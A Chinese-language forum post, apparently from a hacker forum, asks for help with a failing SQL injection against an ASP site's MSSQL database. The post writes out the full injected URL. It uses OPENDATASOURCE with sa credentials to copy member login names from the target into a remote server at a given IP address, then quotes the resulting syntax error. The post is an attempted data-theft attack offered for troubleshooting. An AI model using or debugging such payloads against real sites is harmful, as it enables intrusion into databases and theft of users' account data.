[讨论]一个opendatasource的问题！ 讨论

valen886

[讨论]一个opendatasource的问题！
议题作者：寂寞宝贝
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

今天遇到一个郁闷的问题！在使用opendatasource宏的时候出现的！大虾帮下！

注入点类型:数据、MSSQL 数据库显错模式、支持多语句、DB_OWNER权限

在执行

http://www.xxx.org/pulic/showinfo.asp?ID=271;insert into opendatasource('sqloledb','server=200.82.104.6;uid=sa;pwd=mypass;database=member').ly.member select LOGIN_NAME from member where USERID=1382--

提示如下出错信息
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'

接近 'sqloledb' 之處的語法不正確。

/pulic/showinfo.asp, 列90

弄了半天没搞定！不会是连接的问题，因为他都没连接我，可是这个opendatasource我一直都是这样用的！从来没出过这个问题！麻烦大虾们给个思路！成功的男人白天瞎JB忙，晚上JB瞎忙；失败的男人白天没啥鸟事，晚上鸟没啥事。

帖子428 精华12 积分4620 阅读权限100 性别男 来自云南 在线时间172 小时 注册时间2006-2-7 最后登录2008-7-16 查看个人网站
查看详细资料引用 报告 回复 TOP 赚更多的钱


寂寞宝贝
荣誉会员